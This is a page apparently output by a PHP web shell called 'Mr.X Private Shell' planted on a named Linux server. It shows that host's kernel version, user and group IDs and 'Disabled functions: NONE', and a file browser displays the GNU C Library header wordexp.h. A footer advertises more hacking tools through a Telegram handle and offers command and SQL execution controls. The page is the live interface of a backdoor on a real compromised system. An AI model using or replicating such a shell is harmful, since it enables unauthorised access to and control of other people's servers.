Uname: Linux server.saraya-global.com 4.18.0-553.77.1.el8_10.x86_64 #1 SMP Tue Sep 30 05:56:43 EDT 2025 x86_64
User: 1003 (sarayaglobal)
Group: 1004 (sarayaglobal)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//usr/include      ( Reset | Go to )
File Name: wordexp.h
/* Copyright (C) 1991-2018 Free Software Foundation, Inc.
   This file is part of the GNU C Library.

   The GNU C Library is free software; you can redistribute it and/or
   modify it under the terms of the GNU Lesser General Public
   License as published by the Free Software Foundation; either
   version 2.1 of the License, or (at your option) any later version.

   The GNU C Library is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
   Lesser General Public License for more details.

   You should have received a copy of the GNU Lesser General Public
   License along with the GNU C Library; if not, see
   <http://www.gnu.org/licenses/>.  */

#ifndef    _WORDEXP_H
#define    _WORDEXP_H    1

#include <features.h>
#define __need_size_t
#include <stddef.h>

__BEGIN_DECLS

/* Bits set in the FLAGS argument to `wordexp'.  */
enum
  {
    WRDE_DOOFFS = (1 << 0),    /* Insert PWORDEXP->we_offs NULLs.  */
    WRDE_APPEND = (1 << 1),    /* Append to results of a previous call.  */
    WRDE_NOCMD = (1 << 2),    /* Don't do command substitution.  */
    WRDE_REUSE = (1 << 3),    /* Reuse storage in PWORDEXP.  */
    WRDE_SHOWERR = (1 << 4),    /* Don't redirect stderr to /dev/null.  */
    WRDE_UNDEF = (1 << 5),    /* Error for expanding undefined variables.  */
    __WRDE_FLAGS = (WRDE_DOOFFS | WRDE_APPEND | WRDE_NOCMD |
            WRDE_REUSE | WRDE_SHOWERR | WRDE_UNDEF)
  };

/* Structure describing a word-expansion run.  */
typedef struct
  {
    size_t we_wordc;        /* Count of words matched.  */
    char **we_wordv;        /* List of expanded words.  */
    size_t we_offs;        /* Slots to reserve in `we_wordv'.  */
  } wordexp_t;

/* Possible nonzero return values from `wordexp'.  */
enum
  {
#ifdef __USE_XOPEN
    WRDE_NOSYS = -1,        /* Never used since we support `wordexp'.  */
#endif
    WRDE_NOSPACE = 1,        /* Ran out of memory.  */
    WRDE_BADCHAR,        /* A metachar appears in the wrong place.  */
    WRDE_BADVAL,        /* Undefined var reference with WRDE_UNDEF.  */
    WRDE_CMDSUB,        /* Command substitution with WRDE_NOCMD.  */
    WRDE_SYNTAX            /* Shell syntax error.  */
  };

/* Do word expansion of WORDS into PWORDEXP.  */
extern int wordexp (const char *__restrict __words,
            wordexp_t *__restrict __pwordexp, int __flags);

/* Free the storage allocated by a `wordexp' call.  */
extern void wordfree (wordexp_t *__wordexp) __THROW;

__END_DECLS

#endif /* wordexp.h  */

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL